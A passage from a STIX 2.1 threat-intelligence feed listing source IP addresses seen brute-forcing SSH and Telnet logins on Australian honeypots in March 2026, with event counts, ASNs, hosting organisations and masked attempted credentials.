      "id": "indicator--92e2994b-2343-4a24-a4b8-b663c6826450",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.11.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T15:15:10.000Z",
      "valid_until": "2026-04-09T15:15:08.000Z"
    },
    {
      "created": "2026-03-08T16:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--825058dc-2253-4c9e-8ef7-c09e4d889072",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T16:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.37.6.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:15:09.000Z",
      "valid_until": "2026-04-09T16:15:08.000Z"
    },
    {
      "created": "2026-03-08T16:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--70b6ccba-03dd-485a-aedf-25f7de91b636",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T16:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.244.134.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:15:09.000Z",
      "valid_until": "2026-04-09T16:15:08.000Z"
    },
    {
      "created": "2026-03-08T16:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--8f7f7905-6f08-4a38-be8d-2a7daa703557",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T16:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.174.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:15:09.000Z",
      "valid_until": "2026-04-09T16:15:08.000Z"
    },
    {
      "created": "2026-03-08T16:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--0bcd4542-171c-4fd4-a654-47f9c7100711",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T16:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.53.197.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:15:09.000Z",
      "valid_until": "2026-04-09T16:15:08.000Z"
    },
    {
      "created": "2026-03-08T16:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1d544c88-93ab-41f1-9698-2bf5556512cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T16:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.76.70.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:15:09.000Z",
      "valid_until": "2026-04-09T16:15:08.000Z"
    },
    {
      "created": "2026-03-08T16:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 42956. Organisation(s): Di Eood.",
      "id": "indicator--2b636e3b-9b50-4e2f-b09e-0f38bc951e2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T16:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.142.42.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:15:09.000Z",
      "valid_until": "2026-04-09T16:15:08.000Z"
    },
    {
      "created": "2026-03-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--9999bdb7-dd0c-4413-86b8-57baf41fa1a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T17:15:10.000Z",
      "valid_until": "2026-04-09T17:15:08.000Z"
    },
    {
      "created": "2026-03-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): t****1, 3**********4, b****n, c*****e, n*****x. Passwords observed (masked): 0****3, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--2d894173-7ebf-42e2-b604-45f8e6fec08c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.203.112.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T17:15:10.000Z",
      "valid_until": "2026-04-09T17:15:08.000Z"
    },
    {
      "created": "2026-03-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--708670b0-e63e-45a5-a3aa-72a798951ecb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.183.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T17:15:10.000Z",
      "valid_until": "2026-04-09T17:15:08.000Z"
    },
    {
      "created": "2026-03-08T17:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 23, 22. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1**4, a***n, r**t.",
      "id": "indicator--5b0f8354-330f-4077-a2bc-10a2700d2832",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.86.113.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T17:15:10.000Z",
      "valid_until": "2026-04-09T17:15:08.000Z"
    },
    {
      "created": "2026-03-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 62068. Organisation(s): SpectraIP B.V.. Usernames observed (masked): n*****x, ***, r**t, s********t. Passwords observed (masked): I***********************5, 0********6, E*******************X, E**********s, k*********e.",
      "id": "indicator--284cf290-5ef2-4a67-980d-7264b57ffb4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.244.36.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T17:15:10.000Z",
      "valid_until": "2026-04-09T17:15:08.000Z"
    },
    {
      "created": "2026-03-08T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--489380e4-a73b-46bd-97f6-b689d5b7d530",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.46.249.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T17:15:10.000Z",
      "valid_until": "2026-04-09T17:15:08.000Z"
    },
    {
      "created": "2026-03-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): t****1, 3**********4, b****n, c*****e, n*****x. Passwords observed (masked): 1****6, 1******8, 3***********4, 3**********4, A********#.",
      "id": "indicator--46855f11-407d-4dbe-94a9-2fd82bde34ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.79.186.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T17:15:10.000Z",
      "valid_until": "2026-04-09T17:15:08.000Z"
    },
    {
      "created": "2026-03-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): p*****k, r**t, 3**********4, ***, n****a. Passwords observed (masked): 1****6, 3***********4, 3**********4, A*******!, W*******3.",
      "id": "indicator--6c32437c-ee58-434b-a115-dcf783d22f99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.5.176.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T17:15:10.000Z",
      "valid_until": "2026-04-09T17:15:08.000Z"
    },
    {
      "created": "2026-03-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc. Usernames observed (masked): f*******o. Passwords observed (masked): 1****6.",
      "id": "indicator--92dbc44b-2813-4fd0-8daf-dc0563002a78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '67.52.95.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T17:15:10.000Z",
      "valid_until": "2026-04-09T17:15:08.000Z"
    },
    {
      "created": "2026-03-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215730. Organisation(s): H2nexus Ltd. Usernames observed (masked): ***, a***n, a***r, p******t, r**l. Passwords observed (masked): 1**4, 1***5, 1**7, 3***********4, p******d.",
      "id": "indicator--4f2f6558-9354-44f1-930f-d158b51817a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.159.102.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T17:15:10.000Z",
      "valid_until": "2026-04-09T17:15:08.000Z"
    },
    {
      "created": "2026-03-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 41668. Organisation(s): JSC ER-Telecom Holding. Usernames observed (masked): 3**********4, r***l, r**t, a*****r, a****h. Passwords observed (masked): 1****6, 3***********4, 3**********4, ***, 1**4.",
      "id": "indicator--59021bf9-6f96-416a-b1a0-d521c92f4fee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.180.223.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T17:15:10.000Z",
      "valid_until": "2026-04-09T17:15:08.000Z"
    },
    {
      "created": "2026-03-08T18:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 90. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, 1*******9.",
      "id": "indicator--2e7d521e-a360-4776-a39e-9ec7db11d8e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.206.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T18:15:02.000Z",
      "valid_until": "2026-04-09T18:15:00.000Z"
    },
    {
      "created": "2026-03-08T18:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--aeae4829-5298-4c72-ab16-6ad19f6fc295",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T18:15:02.000Z",
      "valid_until": "2026-04-09T18:15:00.000Z"
    },
    {
      "created": "2026-03-08T18:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, 3**********4, a**n, r***s, s**d. Passwords observed (masked): ***, 3***********4, 3**********4, A******4, Q*******3.",
      "id": "indicator--11cdd625-e962-43d4-b005-a803bbf09248",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.115.183.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T18:15:02.000Z",
      "valid_until": "2026-04-09T18:15:00.000Z"
    },
    {
      "created": "2026-03-08T18:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--48561ad0-6714-428d-bcf2-5414e1d8c268",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '50.232.189.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T18:15:02.000Z",
      "valid_until": "2026-04-09T18:15:00.000Z"
    },
    {
      "created": "2026-03-08T18:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 32133. Organisation(s): Ting Fiber Inc..",
      "id": "indicator--8a171c85-d303-477d-bfb4-f15a684f817b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.99.193.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T18:15:02.000Z",
      "valid_until": "2026-04-09T18:15:00.000Z"
    },
    {
      "created": "2026-03-08T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): k*******************S.",
      "id": "indicator--ca9b6249-5ce0-454c-97bd-bdf87ca3e00e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.190.132.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T19:15:13.000Z",
      "valid_until": "2026-04-09T19:15:11.000Z"
    },
    {
      "created": "2026-03-08T19:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--7c259c25-d49b-4528-8993-1a9eb7415ae5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.20.38.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T19:15:13.000Z",
      "valid_until": "2026-04-09T19:15:11.000Z"
    },
    {
      "created": "2026-03-08T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): u**r, 3**********4, e*****o, m****r, n****l. Passwords observed (masked): 1**4, 1***5, 1******8, 1****e, 3***********4.",
      "id": "indicator--587e5129-7a53-47e3-9810-07a23d1351e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.227.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T19:15:13.000Z",
      "valid_until": "2026-04-09T19:15:11.000Z"
    },
    {
      "created": "2026-03-08T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--7db69d8f-ff85-4d5f-92f0-4a570a87c2bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.172.51.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T19:15:13.000Z",
      "valid_until": "2026-04-09T19:15:11.000Z"
    },
    {
      "created": "2026-03-08T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***t, 3**********4, d*******r, e****n. Passwords observed (masked): 1**4, 1***5, 3***********4, 3**********4, A*******2.",
      "id": "indicator--421edc1e-f349-46bc-bd0f-485d1fa6d230",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.243.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T19:15:13.000Z",
      "valid_until": "2026-04-09T19:15:11.000Z"
    },
    {
      "created": "2026-03-08T19:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--9041b643-75a0-47ca-b218-48ed972e28eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.197.184.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T19:15:13.000Z",
      "valid_until": "2026-04-09T19:15:11.000Z"
    },
    {
      "created": "2026-03-08T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LT. ASN(s): 61272. Organisation(s): Informacines sistemos ir technologijos, UAB. Usernames observed (masked): u**r, 3**********4, e*****o, m****r, n****l. Passwords observed (masked): 1**4, 1***5, 1******8, 1****e, 3***********4.",
      "id": "indicator--1dfdcb6d-c009-4c78-9495-74eee6fccd47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.206.171.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T19:15:13.000Z",
      "valid_until": "2026-04-09T19:15:11.000Z"
    },
    {
      "created": "2026-03-08T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 48874. Organisation(s): Hostmaze Inc Srl-d. Usernames observed (masked): r**t, 3**********4, a***t, d*******r, e****n. Passwords observed (masked): 1**4, 1***5, 3***********4, 3**********4, A*******2.",
      "id": "indicator--aece91a2-38de-479e-9dd9-121b64da49ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '86.104.194.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T19:15:13.000Z",
      "valid_until": "2026-04-09T19:15:11.000Z"
    },
    {
      "created": "2026-03-08T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH.",
      "id": "indicator--e11bdbdc-c6d7-4863-8284-9905f8373fd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T19:15:13.000Z",
      "valid_until": "2026-04-09T19:15:11.000Z"
    },
    {
      "created": "2026-03-08T20:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--b5a89852-f5fb-47f2-a70e-0cd2ff2a8752",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.228.162.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T20:15:15.000Z",
      "valid_until": "2026-04-09T20:15:11.000Z"
    },
    {
      "created": "2026-03-08T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 78. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--d89240b1-5ef5-4c2a-b216-855e35a23e10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '128.140.4.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T20:15:15.000Z",
      "valid_until": "2026-04-09T20:15:11.000Z"
    },
    {
      "created": "2026-03-08T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 120. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--b2b4c3cc-2ef8-4ccc-8bf7-3aae31faa771",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
